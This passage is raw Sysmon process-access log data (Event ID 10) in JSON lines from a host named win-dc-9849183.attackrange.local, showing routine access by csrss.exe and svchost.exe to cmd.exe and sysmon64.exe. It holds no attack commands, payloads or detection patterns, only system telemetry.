Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 